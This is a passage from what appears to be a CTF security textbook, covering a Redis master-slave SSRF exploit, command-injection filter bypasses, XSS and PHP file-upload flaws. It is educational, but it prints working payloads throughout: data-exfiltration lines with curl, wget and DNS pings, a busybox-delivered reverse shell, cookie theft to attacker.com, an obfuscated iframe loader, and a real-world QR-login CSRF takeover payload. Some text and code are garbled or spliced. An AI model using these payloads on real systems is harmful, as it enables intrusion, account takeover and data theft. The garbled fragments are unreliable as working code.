'url': "http://" + payload2 + ":2333/?"
})
print(res.content)
if __name__ == "__main__":
exp = Exploit(sys.argv[1], sys.argv[2])
exp.do_exploit()
By looking at the information in the pop-up shell, you can see that you need to
perform a power-up. See Fig. 2.38.
After getting the shell, information gathering revealed that Redis is started with
root access, but it is not practical to write SSH private keys and webshells, etc., so it
was considered that Redis’ master-slave mode could be utilized (at the WCTF 2019
2.1 SSRF Vulnerabilities 111
Final, LCBC team members shared post-match that due to a new RCE exploit
(resulting from Redis master-slave replication) goes to the RCE to read the flag.
In order to cope with the problem of large read and write volumes, Redis provides
a master-slave model, which uses one Redis instance as the host for writing only, and
the other instances as slaves for reading only, since it has complete control of Redis
at this point, you can load a malicious extension by setting this machine as a slave to
your own VPS and backing it up on the host via FULLSYNC sync to the slave. You
can find exp about this attack on Github, e.g., https://github.com/n0b0dyCN/redis-
rogue-server.
Here, because of the trigger points, it is impossible to run the process provided by
exp above strictly.
First, set the VPS slave in the shell, then set dbfilename to exp.so, and perform the
first two steps in exp manually, as shown in Fig. 2.39.
Then, remove all the functions behind the load module and run exp on the VPS.
Finally, perform the rest of the steps manually on Redis and read the flags using the
functions provided by the extension, see Fig. 2.40.
Usually, when a developer uses some execution command function and does not
perform security checks on the data entered by the user, he can inject malicious
commands and put the whole server at risk. As a CTFer, command execution can be
used for the following purposes: (i) to obtain the flag directly; (ii) to perform a
bounce shell and then enter the intranet door; and (iii) to take advantage of the
challenge master's lack of strict control over privileges and control over the chal-
lenge’s environment to prevent other team players from solving the challenge, thus
gaining an advantage in time.
In CTF, command execution generally occurs remotely, called Remote Com-
mand Exec (RCE), or RCE (Remote Code Exec). All RCEs in this section are
Remote Command Execs.
This section will describe common RCE vulnerabilities and ways to bypass the
WAF and then go through some classic topics to give the reader an understanding of
RCE topics in CTF.
<?php
$dir = $_GET['d'];
2.2 Command Execution Vulnerabilities 113
The normal function of this code is to invoke the operating system's echo
program, take the string received from the d-parameter as input to the echo program,
and finally, the system() function returns the result of the echo program to the web
page, which is executed on the operating system with the command “echo for test”.
The final page is displayed as “for test”. See Fig. 2.41.
When you change the d-parameter to “for test %26%26 whoami”, the web page
will show the result of the whoami program execution. whoami”, see Fig. 2.42.
Usually, special characters are URL-encoded to resolve ambiguous URL expres-
sions, and “%26” is the URL-encoding for “&”. Why does injecting the “&&”
character cause command injection? Are there any other similar characters?
In various programming languages, “&&” is an expression of the AND syntax,
generally invoked in the following format.
Returns true when both sides of the expression are true. A similar syntax is or,
which is usually denoted by “||”. Note that they are inert; in the AND syntax, if the
result of the first expression is false, the second expression is not executed because it
is always false. In analogy to the or syntax, if the first expression is true, the second
expression will not be executed because it is always true.
So, command injection is the execution of a command specified by an attacker by
injecting special characters that change the intent of the original execution.
Before testing, we need to understand the rules of cmd.exe and bash when parsing
commands and the similarities and differences between Windows and Linux.
114 2 Advanced Web
1. Escaped characters
The system cmd.exe and bash executable commands are capable of parsing many
special characters, and their existence makes BAT batch and bash scripting work
more straightforward, but if you want to remove the special meaning of special
characters, you need to escape them, so the escaped character is to cancel the special
meaning of the character.
The Windows escape character is “^” and the Linux escape character is “\”, see
Figs. 2.43 and 2.44, respectively. "which had a special meaning, is deprecated to be
output in the terminal.
2. Multiple command execution
In command injection, it is often necessary to inject multiple commands to extend
the damage, and the following are some of the strings that can constitute multiple
command execution: &&, ||, %0a on Windows; &&, ||, ;, $(), ``, %0a, %0d on Linux.
Figures 2.45 and 2.46 show multiple command execution under Windows and
Linux. Figure 2.45 shows “noexist || echo pwnpwnpwn”. The noexist program itself
does not exist, so it reports an error, but by injecting the “||” character, it will execute
even if it reports an error earlier, followed by the “echo pwnpwnpwn” command.
In the above example, “&&” and “||” use conditional execution to execute
multiple commands, “%0a” and “||” use conditional execution to execute multiple
commands, and “%0a” and “||” use conditional execution to execute multiple
commands. “%0d” is a new command that can be executed due to a line feed.
Also, note that in Linux, the contents of the strings “$()” or “``” wrapped in double-
quotes are executed as commands, but the strings included in single quotes are pure
strings and are not parsed, see Fig. 2.47.
3. Annotation marks
As with code comments, when properly utilized, command execution can make the
other characters following command the content of the comment, thus reducing
errors in program execution.
The comment symbol for Windows is “::”, which is used more often in BAT
batch scripts; the comment symbol for Linux is “#”, used more often in bash scripts.
When faced with an unknown command injection, it is best to identify the command
injection point and denylist rules through various Fuzzes. The general command
format is as follows.
Then, by inserting the Fuzz list into the command point, you can check your own
server's weblogs to see a vulnerability.
In some code audits, spaces are often prohibited or filtered to null, which is explained
below. For example, for the following PHP code.
<?php
$cmd = str_replace(" ", "", $_GET['cmd']);
echo "CMD: " . $cmd . "<br>";
?>
The command “echo pwnpwn” fails when you filter the space in the cmd
parameter to null. See Fig. 2.48.
However, you can use more than just spaces in the command (the URL is encoded
with “%20”). “%0b”, “%0c”, and so on.
Fuzz with the burp suite. See Fig. 2.49. Enter the “%09” character again, i.e.,
“echo%09pwnpwnpwn”, and you will find that the space restriction can be
bypassed. See Fig. 2.50.
2.2 Command Execution Vulnerabilities 117
This is just one of the general ways to de-Fuzz unknown cases. If invisible
characters such as “%0a” or “%0d” are disabled, you can also get spaces by string
capture.
1. Under Windows
For example, the following command.
%ProgramFiles:~10,1%
Therefore, the above command starts from the tenth and gets a string, i.e., a space,
as shown in Fig. 2.51.
2. Under Linux
There are also ways to bypass spaces in Linux.
$IFS$9
{cmd,args}
cat<>flag
The a variable is c, the b variable is at, and finally $a$b is cat. c variable is he, d
variable is llo, and finally ${c}${d} is hello, so the command executed here is "cat
hello.
2. Use wildcards
In wildcards, “? ” stands for any string, and “*” stands for any string.
As you can see, the bypassing of deny-listed strings is achieved above by using
the cat and type commands combined with wildcards.
3. Borrowing existing strings
If you disable strings such as “? ” and other strings, you can borrow strings from
other files and use the substr() function to truncate a specific character. The result of
the bypass execution is shown in Fig. 2.53.
In CTF, we often encounter a situation where the results of a command execution are
not displayed on the web page.
Before we start, we recommend building a VTest platform https://github.com/
opensec-cn/vtest for testing. After building it, start testing it with the following
test code.
<?php
exec($_GET['cmd']);
?>
1. HTTP channels
Assuming your domain name is example.com, here is an example of getting
permission for the current user.
Under Windows, data can currently be exported only through relatively complex
commands (if Windows supports Linux commands in the future, it will be easier to
export data).
The result of echo hello execution is saved in the %x variable with the for
command and then spliced into the URL.
After the above command is executed, the system’s default browser will be called
to open and access the specified website, and eventually, the results of the echo hello
command will be available on the platform, see Fig. 2.54.
However, the drawback is that the browser does not close when you call it, and
there is a truncation problem when special characters or spaces are encountered, so
you can borrow Powershell for extraneous data. In Powershell 2.0, execute the
following command.
Here the result of echo hello is Base64 encoded and then sent via web request.
Under Linux, it is extremely convenient to transfer data due to pipes, etc., and
usually uses programs such as curl, wget, etc., to take out data. Example.
curl example.com/`whoami`
wget example.com/$(id|base64)
In the above example, we use “`” and “$()” in multiple commands to splice the
strings and finally request them via curl, wget, etc., to achieve data take-out, see
Fig. 2.55.
2. DNS channels
Often we test DNS outbound data by pinging, with parameters that differ somewhat
between Windows and Linux. For example, limiting the number of ping times is “-n”
in Windows but “-c” in Linux. For compatibility purposes, it can be used in
conjunction with “ping -nc 1 test.example.com”.
Under Linux.
ping -c 1 `whoami`.example.com
3. Time Blindness
When the network is not working, you can run the data out through a time blind,
borrowing mainly from the inertia of “&&” and “||”; the sleep function can be used
under Linux, while some options are available under Windows. Time-consuming
commands, such as ping -n 5 127.0.0.1.
122 2 Advanced Web
It is rare to test only command injection challenges in CTF competitions, but they are
usually combined into other more technical challenges, such as denylist bypass,
Linux wildcard, etc. The following are some classic challenges.
<?php
highlight_file(__FILE__);
$args = $_GET['args'];
for ($i=0; $i<count($args); $i++) {
if (!preg_match('/^\w+$/', $args[$i]))
exit();
}
The problem is to create a sandbox directory for each person and then restrict the
strings by using the regular rule “^\w+$”. Since the regular “/^\w+$/” does not
2.2 Command Execution Vulnerabilities 123
enable multi-line matching, it is possible to execute other commands with “\n” (%0a)
line breaks. This allows you to execute the touch abc command alone.
/1.php?args[0]=x%0a&args[1]=touch&args[2]=abc
Then create a new file 1 with the contents set to the bash bounce shell, where
192.168.0.9 is the IP of the VPS server, and 23333 is the bounce port. Then use
Python’s pyftpdlib module to build an anonymous FTP service, see Fig. 2.57.
Finally, use the ftp command in the busybox to retrieve the file.
busybox ftpget ip 1
<?php
$ip = "192.168.0.9";
$ip = explode('.' , $ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3];
if ($r < 0) {
$r += 4294967296;
}
echo $r;
?>
Ultimately the entire solution process is as follows. Download the bounce shell
script using FTP.
/1.php?args[0]=x%0a&args[1]=busybox&args[2]=ftpget&args[3]
=3232235529&args[4]=1
/1.php?args[0]=x%0a&args[1]=bash&args[2]=1
<?php
$sandbox = '/www/sandbox/'.md5("orange". $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
}
else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf'. $sandbox);
}
highlight_file(__FILE__);
The most critical limitation in the above code is the command length limit. strlen
($_GET['cmd']) <¼ 5 means that the command length can only be 5 or less per
execution.
The solution is to sort the filenames by time and then use “ls -t” to splice them
together. Of course, during the splicing process, you can separate the touch program
by using the following line of the string “\”, see Fig. 2.59.
In the end, the entire solving process is as follows: write ls -t>g to the _ file; write
payload; execute _ to generate the g file, and finally execute the g file to bounce the
shell. Use the following script.
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
>ls\cr',
'ls>_',
The "> \cr\cr\',
>-t\cr\',
'>\>g',
'ls>>_',
# exec
'sh _',
'sh g',
]
for i in payload:
assert len(i) <= 5
r = requests.get('http://127.0.0.1:20081/2.php?cmd=' + quote(i) )
print i
sleep(2)
<?php
$sandbox = '/www/sandbox/'.md5("orange". $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
}
else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf'. $sandbox);
126 2 Advanced Web
}
highlight_file(__FILE__);
The order of t is later than s, so you can find h and add it before t to improve the
priority of the last order of this filename. So, when “*” is executed, the command that
is executed is.
g> ht- sl
2.3 The Magic of XSS 127
Next, write a rev file, then use the “*v” command. Since there are only rev and v
files with v, the command will be “rev v”, and then put the contents of the rev v file
into the x file.
Ultimately, the contents of the x file are.
ls -th >g
1. Reflected/Stored XSS
According to the triggering characteristics of XSS vulnerability, XSS can be roughly
divided into reflected (or non-persistent) XSS and stored (or persistent) XSS.
Reflected XSS usually means that the malicious code is not stored by the server,
128 2 Advanced Web
and the malicious code is submitted through GET/POST every time, and then the
vulnerability is triggered. Stored XSS is just the opposite, the malicious code is
stored by the server and is directly triggered when the page is accessed (such as
leaving a message on the message board, etc.).
Here is a simple reflective XSS example (Fig. 2.61), User input is output directly
in HTML context without any filtering, just like the attacker “injects” the HTML this
is why XSS is also called HTML injection. So that we can inject malicious tags and
codes into the web page to do what we want, as shown in Fig. 2.62.
However, such a payload will be directly blocked by browsers such as Google
Chrome, etc. Because such a request (that is, the JavaScript tag code in the GET
parameter is directly printed in HTML context) was matched by the Google Chrome
browser XSS Auditor, and then the request was directly blocked (this is also the
Google Chrome enhanced protection strategy in recent years Caused, for a long time
before this, attackers could inject XSS malicious code into the web page arbitrarily).
Change to a Firefox browser, the result is shown in Fig. 2.63.
When the input data is spliced into the HTML context, some are output to some
special locations, such as the value of tag attributes and JavaScript variables values.
At this time, the payload can be escaped by closed the tags or the closed statements.
For another example, the input is output to the value of the tag attribute (see
Fig. 2.64). By injecting the “on” event into the tag attribute, we can execute
malicious code, as shown in Fig. 2.65. In both cases, due to the obvious features,
it will be blocked by Google Chrome XSS Auditor when using Google Chrome
browser.
The third case is that the input is output to a JavaScript variable (see Fig. 2.66).
At this time, the input can be constructed to close the double quotation marks in
the preceding text, and malicious code can be injected at the same time (see
Fig. 2.67).
It can be seen that the source code of the page did not turn red this time, which
means that Google Chrome did not blocked this input and the alert was executed
successfully, as shown in Fig. 2.68.
The first three are the simplest cases in XSS, the input is output on the web page
as it is, and the malicious data in the input is mixed into the JavaScript code to be
executed by carefully constructing the input. This is also the underlying cause of
many vulnerabilities, in other words: the code and data are not well isolated, causing
the attacker to take advantage of the flaws of the system, construct input, and then
execute arbitrary code on the system.
2. DOM XSS
In simple terms, DOM XSS means that after the original JavaScript code in the page
is executed, DOM tree nodes need to be added or elements modified, which will
introduce tainted variables and lead to XSS, as shown in Fig. 2.69. Its function is to
get the picture link in the imgurl parameter, and then splice a picture tag and display
it on the web page, as shown in Fig. 2.70.
The input will not be printed directly to the web page for parsing, the user-
controllable variables will be obtained after the original JavaScript in the web page is
executed, and the malicious code will be spliced and written into the web page
before it will be triggered, as shown in Fig. 2.71.
It can be seen that the malicious code was finally spliced into the “img” tag and
executed.
3. Other Cases
The key to determining whether the uploaded file can be parsed into HTML code by
the browser is the “Content-Type” element in the HTTP response header, no matter
what suffix the uploaded file is saved on the server. As long as the “Content-type”
returned when accessing the uploaded file is “text/html”, it can be successfully
parsed and executed by the browser. Similarly, the “application/x-shockwave-
flash” of the Flash file can also be injected with XSS code.
In fact, browsers will parse the response as HTML content by default, such as
empty and malformed “Content-type”. Due to the differences between browsers,
more testing is required in the actual environment. For example, an empty “Content-
type” in Google Chrome will be considered as “text/html”, as shown in Fig. 2.72,
and it can also be alert, as shown in Fig. 2.73.
Since there is no picture with a path of “/x” on the web page, an error will be
loaded, the “onerror” event will be triggered and the code will be executed.
Other common tags are as follows:
<script src="http://attacker.com/a.js"></script>
<script>alert(1)</script>
<link rel="import" href="http://attacker.com/1.html">
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">click</a>
<svg/onload=alert(1)>
The “autofocus” attribute of the “input” tag will automatically focus the cursor
here, and the “onfocus” event can be triggered without interaction. Two input tag
compete for focus, when the focus is on another “input” tag, the previous one will
trigger the “blur” event. For example:
<a href="javascript:alert(1)">click</a>
When you click this tag, it will not jump to other webpages, but execute “alert(1)”
directly on the current page. In addition to clicking directly with the “a” tag, there are
many other ways to trigger the JavaScript protocol.
For example, when using JavaScript to jump to other pages, the jump protocol
can also be triggered using JavaScript pseudo-protocol. The code is as follows:
<script type="text/javascript">
location.href="javascript:alert(document.domain)";
</script>
<!DOCTYPE html>
<html>
<head>
<title>logout</title>
</head>
<body>
<script type="text/javascript">
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null)
return decodeURI(r[2]);
return null;
}
var jumpurl = getUrlParam("jumpurl");
document.location.href=jumpurl;
</script>
</body>
</html>
The jump address is controllable, and we can control the jump address to the
JavaScript pseudo-protocol, thus realizing XSS attacks, as shown in Fig. 2.76.
In addition, “iframe” tag and “form” tag also support the JavaScript pseudo-
protocol. Interested readers can try the following on their own. The difference is that
the “iframe” tag can be triggered without interaction, but the “form” tag needs to be
triggered when the form is submitted.
<iframe src="javascript:alert(1)"></iframe>
<form action="javascript:alert(1)"></form>
<?php
$template = "Hello {{name}}".$_GET['t'];
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.
min.js"></script>
</head>
<body>
<div ng-app="">
<p>name : <input type="text" ng-model="name"></p>
<h1><?=$template?></h1>
</div>
</body>
</html>
The above code will directly output the parameter “t” to the AngularJS template.
When we visit the page, JavaScript will parse the code in the template and get a
front-end template injection. The AngularJS engine parses the expression “3*3” and
prints the result, as shown in Fig. 2.77.
Using sandbox escape vulnerabilities, we can achieve the purpose of executing
arbitrary JavaScript code. Such XSS is caused by the secondary rendering of part of
the output by the front end, so there is no such feature as the “script” tag, and it will
not be blocked by the browser at will, as shown in Fig. 2.78.
Reference: https://portswigger.net/blog/XSS-without-html-client-side-template-
injection-with-angularjs。
The two levels of filtering are the WAF layer and the code layer. The WAF (Web
Application Firewall) layer is usually outside the code, an interceptor for the host to
filter HTTP requests. The code layer directly implements filtering of user input in the
code or refers to third-party code to filter user input.
JavaScript is very flexible, so for ordinary regular matching, string comparison is
difficult to intercept XSS vulnerabilities. Generally, there are multiple scenarios
when filtering.
1. Rich text filtering
In the scenarios of sending emails and writing blogs, tags are indispensable. For
example, HTML tags are needed to embed hyperlinks and pictures. If you use a
blacklist for tags filtering, there will inevitably be omissions. We can find the ones
that have not been filtered, Perform a bypass.
We can also use fuzz to test whether the filtering is flawed. For example, in the
filtering method that directly replaces the “script” with empty, the double form
“<scrscriptipt>” can be used to bypass filter or when the case is not considered,
the script tag can be bypassed by changing the case. See Fig. 2.79.
<?php
function filter($payload) {
$data = str_replace("script", "", $payload);
return $data;
138 2 Advanced Web
}
$name = filter($_GET["name"]);
echo "hello $name";
?>
The wrong filtering method can even help us bypass the browser's XSS filter.
2. Output in properties
If there is no filtering of “<” or “>”, we can directly introduce new tags, or introduce
tag events, such as onload, onmousemove, etc. When the statement is output to the
location of the tag event, we can bypass the detection by HTML encoding the
payload, as shown in Fig. 2.80.
Use burpsuite to entity encode the payload:
aaa=eval;
aaa("evil code");
If only single quotation marks are filtered without considering “\”,the second
single quotation mark in the statement will be escaped so that the first single
quotation mark and the third single quotation mark will be closed, and the attack
statement will escape:
SELECT * FROM users WHERE name = '\' and pass = 'union select xxxxx#'
<?php
$name = $_GET['name'];
$name = htmlentities($name,ENT_QUOTES);
$address = $_GET['addr'];
$address = htmlentities($address,ENT_QUOTES);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gb18030">
<title></title>
</head>
<body>
<script type="text/javascript">
var url = 'http://nu1l.com/?name=<?=$name?>'+'<?=$address?>';
</script>
</body>
</html>
There are two input points and output points. If you enter the quotation mark, it
will be encoded as the entitative char of HTML, but the htmlentities function
couidn’t filter “\”, so we can use “\” to make the attack statement escape,as shown
in Fig. 2.82.
Enter “\” at the end of the name, close the previous JavaScript statement at the
addr parameter, and insert malicious code at the same “time.Furthermore”, you can
140 2 Advanced Web
This code will stipulate that the JavaScript files referenced by this page are only
allowed to come from subdomains of Baidu, and any other way of JavaScript
execution will be intercepted, including the code in the script tag of the page itself.
If a JavaScript file of an untrusted domain is referenced, an error will be reported on
the browser’s console interface (press F12 to open the console), as shown in Fig. 2.85.
CSP rules are shown in Table 2.1.
Each rule in the table corresponds to a certain part of the request in the browser. For
example, the default-src directive defines those security policies that are not specified
by more precise directives, which can be understood as a default policy for all requests
in the page; script-src can specify the source of JavaScript resource files that are allowed
to be loaded. Readers can learn the meaning of the rest of the rules on your own.
In the setting of CSP rules, “*” can be used as a wildcard. For example, “*.baidu.
com” refers to JavaScript resource files that allow loading all subdomains of Baidu;
it also supports specifying specific protocols and paths, such as “Content-Security-
Policy: script-src http://*.baidu. "com/js/” specifies the specific protocol and path.
In addition, script-src also supports specified keywords. Common keywords are
as follows:
• none:It is forbidden to load all resources.
• self:Allow to load resource files of the same origin.
• unsafe-inline:Allows to execute embedded JavaScript code directly in the page.
• unsafe-eval:It is allowed to use “eval()” and other methods to create codes
through character strings.
All keywords need to be wrapped in single quotes. If there are multiple values in a
CSP rule, separate them with spaces; if there are multiple instructions, separate them
with “;”. For example:
<?php
header("Content-Security-Policy: script-src 'self'");
$jsurl = $_GET['url'];
$jsurl = addslashes($jsurl);
?>
<!DOCTYPE html>
<html>
<head>
<title>bypass csp</title>
</head>
<body>
<script type="text/javascript" src="<?=$jsurl?>"></script>
</body>
</html>
Note that if it is an image upload interface, that is, if the Content-Type returned
when accessing the uploaded resource is like image/png, it will be rejected by the
browser.
Assuming that an a.xxxxx file is uploaded, the file is imported into the src
attribute of the script tag through the GET parameter of the URL. The Content-
type returned at this time is text/plain, and the analysis result is shown in Fig. 2.86.
When the outgoing data is limited, you can use JavaScript to dynamically
generate link tags and transmit the data to our server, such as bringing out cookies
through GET parameters:
There is also the use of page jumps, including the jump of a tag, the jump of
location variable assignment, and the jump of meta tags. For example, to bring out
data by jumping:
location.href="http://attacker.com/?c="+escape(document.cookie)
2.3 The Magic of XSS 145
XSS challenges in CTF usually use XSS bot to simulate user access links from the
background, and then trigger the XSS constructed by the answerer, and read the flag
hidden in the bot browser by the challenge designer. The flag is usually in the cookie
of the bot browser, or exists in a path that can only be accessed by the identity of the
bot. In addition to the CTF challenge, there are also related XSS vulnerabilities in
reality. In the second example, I will explain a case of XSS vulnerabilities that I have
dug.
1. 0CTF 2017 Complicated XSS
There are two domain names government.vip and admin.government.vip in the title,
as shown in Fig. 2.90.
Challenge reminder: http://admin.government.vip:8000. After the test, we found
that we can enter any HTML in the government.vip to trigger the BOT, which means
that the bot can execute any JavaScript code in the government.vip domain. After
further exploration found that
<1> You need to upload files to the http://admin.government.vip:8000/upload
interface as an administrator to get the flag.
<2> There is an XSS in http://admin.government.vip:8000, and the user name in the
user cookie will be directly displayed in the HTML content, as shown in
Fig. 2.91.
<3> The http://admin.government.vip:8000/ has filtering, and many functions have
been deleted. You need to find a way to bypass it in order to transmit the data. The
filtering part is as follows:
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
Based on the information obtained, we can sort out our ideas. Use the XSS of the
government.vip root domain to write the code for attacking the admin subdomain
into the Cookie, and set the valid domain of the Cookie to all subdomains (all
subdomains can access this Cookie). After setting the cookie, guide the user to visit
the page that prints the cookie, make the bot trigger XSS in the admin subdomain,
and use XSS to create a new iframe page in the admin subdomain after triggering,
thereby bypassing the function restrictions on the page and reading the HTML
source code of the page uploaded by the administrator, and finally construct the
upload package to trigger the upload using XSS, and send it to the attacker after
obtaining the flag.
Firstly, trigger the XSS content in the root domain:
<script>
function setCookie(name, value, seconds) {
seconds = seconds || 0; // set seconds or 0, it's different with
php
var expires = ""; if (seconds != 0 ) { // set cookie expiration time
var date = new Date();
date.setTime(date.getTime()+(seconds*1000));
expires = ";
expires="+date.toGMTString();
}
document.cookie = name+"="+value+expires+"; path=/;
domain=government.vip"; // encode and assign }
setCookie('username','<iframe src=\'javascript:eval(String.
fromCharCode(118,
97, 114, 32, 115, 115, 115, 61, 100, 111, 99, 117, 109, 101, 110, 116,
46, 99,
114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 34,
115, 99,
114, 105, 112, 116, 34, 41, 59, 115, 115, 115, 46, 115, 114, 99, 61,
34, 104,
116, 116, 112, 58, 47, 47, 119, 97, 121, 46, 110, 117, 112, 116, 122,
106, 46,
99, 110, 47, 98, 97, 105, 100, 117, 47, 120, 115, 115, 46, 106,
115, 34, 59,
2.3 The Magic of XSS 147
100, 111, 99, 117, 109, 101, 110, 116, 46, 98, 111, 100, 121, 46, 97,
112,
112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 115, 115,
41, 59))\'>
</iframe>',1000);
var ifm = document.createElement('iframe');
ifm.src = 'http://admin.government.vip:8000/';
document.body.appendChild(ifm);
</script>
Set the payload to the Cookie, and then guide the bot to visit the admin
subdomain. The malicious code can be used twice. The first time is to read the
HTML of the file uploaded by the administrator. The upload page read is shown in
Fig. 2.92.
After reading the source code, modify the payload structure, use JavaScript to
upload the file code, and after the upload is successful, send the page to its own
server. Finally, the server receives the request with the flag, as shown in Fig. 2.93.
The flag is in the response to the uploaded file.
2. XSS for an Internet company
passport.example.com and wappass.example.com are the passport-related domains
of the company and are responsible for the user’s passport-related tasks. For
example, carry the token to jump to other sub-domains for authorized login. The
wappass sub-domain is responsible for QR code login-related functions, and pass-
word changes can be made in this domain.
In the past, it was discovered that some URLs were not checked strictly, which
led to the security problem of redirecting to third-party domains with XXUSS.
XXUSS used to be their company’s only pass (HTTP Only Cookie). Since a certain
fix, the vulnerability of carrying the pass to jump seems to be completely repaired.
<script>
document.location.href="javascript:alert(1)";
</script>
<a href="javascript:alert">click me
As long as you click it, you can trigger the corresponding script, and then it seems
that I have seen an attack payload:
<script>
document.location.href="javascript://www.example.com/%250aalert
(1)";
</script>
2.3 The Magic of XSS 149
Such a payload can still be executed, because the “//” in JavaScript means a
comment. The attack statement runs to the second line through the following “%0a”
newline character, avoiding this comment character. It seems that as long as it is a
JavaScript-type jump, can it trigger the JavaScript pseudo-protocol? Can the form
also be regarded as a way to carry data for JavaScript jumps?
The test code is as follows, and the result is shown in Fig. 2.94.
In this way, the URL verification is passed, as shown in Fig. 2.96, and the XSS
code is successfully executed.
At this point, we have obtained an XSS for the company’s login domain and can
ignore the browser’s filtering and kill all kinds of browsers. As mentioned earlier, the
company’s QR code login function is implemented in this domain. Then we get this
XSS, we can carry out a CSRF attack on the user, so that when the user visits our
malicious page, it is equivalent to scanning and confirming the login QR code.
The content of the page that induces the user to visit, the code is as follows:
$.get('https://wappass.example.com/wp/?
qrlogin&t=1526233652&error=0&sign=<?php echo
$_GET[sign];?
>&cmd=login&lp=pc&tpl=mn&uaonly=&client_id=&adapter=3&traceid=
&liveAbility=1&credentialKey=1&deliver
Params=1&suppcheck=1&scanface=1&support_
photo=1',function(data) {
token = data.match(/token: '([\w]+)'/)[1];
sign = data.match(/sign: '([\w]+)'/)[1];
// alert(token+sign);
$.post("https://wappass. example.com/wp/?
qrlogin&v=1526234914892",{"token":token,
"sign":
sign,"authsid":"","tpl":"mn","lp":"pc","traceid":""});
});
The above code is the final payload used. When the user visits this webpage, XSS
will be triggered, and the CSRF attack method is used to automatically authorize a
QR code login page opened by the attacker.
After the authorization is completed, the attacker can log in to the victim's account
in the browser, and then browse various services as the other party.
File upload is very common in web services, such as users uploading avatars, upload
pictures while writing the article, etc. When implementing file uploads, if the
backend does not properly process the files uploaded by users, it will cause very
serious security problems, such as malicious Trojan horses or junk files being
uploaded to the server. Because of its many categories, this section mainly intro-
duces some common upload problems in PHP.
Figure 2.97 is a basic PHP upload code, but there is a file upload vulnerability. PHP
file upload is usually implemented using the “move_uploaded_file” method and the
“$_FILES” variable. The code in the figure directly uses the file name of the file
uploaded by the user as the file name saved in the server, which will cause arbitrary
file upload vulnerabilities. Therefore, malicious PHP script files can be uploaded to
the server (see Fig. 2.98).
152 2 Advanced Web
multipart_buffer_headers rfc1867.c:453
rfc1867_post_handler rfc1867.c:803
sapi_handle_post SAPI.c:174
php_default_treat_data php_variables.c:423
php_auto_globals_create_post php_variables.c:720
if (!multipart_buffer_headers(mbuff, &header)) {
goto fileupload_done;
}
if (php_rfc1867_encoding_translation()) {
self->input_encoding = zend_multibyte_encoding_detector((const
unsigned char *) line,
strlen(line), self->detect_order, self-
>detect_order_size);
}
if (value) {
if (buf_value.c && key) { /* new entry, add the old one to the list
*/
smart_string_0(&buf_value);
entry.key = key;
entry.value = buf_value.c;
zend_llist_add_element(header, &entry);
buf_value.c = NULL;
key = NULL;
}
*value = '\0';
do {
value++;
} while (isspace(*value));
key = estrdup(line);
smart_string_appends(&buf_value, value);
}
else if (buf_value.c) { /* If no ':' on the line, add to previous
154 2 Advanced Web
line */
smart_string_appends(&buf_value, line);
}
else {
continue;
}
}
Read the data line by line from the “boundary”, and use “:” to separate the “key”
and “value”; when processing “filename”, the “key” is taken from “Content-Dispo-
sition”, and the “value” is taken from “form-data; name¼"file";filename¼"a.php\0.
jpg";”, then execute the following code:
smart_string_appends(&buf_value, value)
while (isspace(*cd)) {
++cd;
}
while (isspace(*cd)) {
++cd;
}
if (strchr(pair, '=')) {
key = getword(mbuff->input_encoding, &pair, '=');
}
else if (!strcasecmp(key, "filename")) {
if (filename) {
efree(filename);
}
filename = getword_conf(mbuff->input_encoding, pair);
2.4 File Upload Vulnerability 155
Although “$_FILES” file upload does not have the problem of “00” truncation
bypassing the upload limit, the truncation bypass may also occur in the scenario
where the file name is converted character set. PHP usually uses the “iconv()”
function when implementing character set conversion. The range of characters
allowed by UTF-8 in a single byte is 0x00~0x7F. If the converted characters are
not in this range, it will cause “PHP_ICONV_ERR_ILLEGAL_ SEQ” exception.
After the “PHP_ICONV_ERR_ILLEGAL_ SEQ” exception occurs, the lower ver-
sion of PHP will no longer process the following characters to cause truncation
problems, as shown in Fig. 2.100. It can be seen that when the PHP version is lower
than 5.4, the conversion character set can cause truncation, but 5.4 and above will
return “false”.
156 2 Advanced Web
If the PHP version is lower than 5.4, and “out_buffer” is not NULL, it can return
normally regardless of the value of “err”, as shown in Fig. 2.101.
When the PHP version is 5.4 and above, it will return normally only when “err” is
“PHP_ICONV_ERR_SUCCESS”, that is successfully converted and “out_buffer”
is not NULL, otherwise it will return “FALSE”, as shown in Fig. 2.102.
The truncation caused by the converted character set is applicable to the following
scenarios: First, obtain the uploaded file suffix from the backend. After the suffix
whitelist is checked, if the character set conversion operation is performed on the file
name, a security problem may occur. For example, you can upload the file(x.php
\x99.jpg) in Fig. 2.103, and the final saved file name is “x.php” (see Fig. 2.104). The
actual case can refer to: http://www.yulegeyu.com/2019/06/18/Metinfo6-Arbitrary-
File-Upload-Via-Iconv-Truncate
File suffix blacklist verification is to create a blacklist of suffixes, check whether the
file suffixes are in the blacklist when uploading, do nothing in the blacklist, and
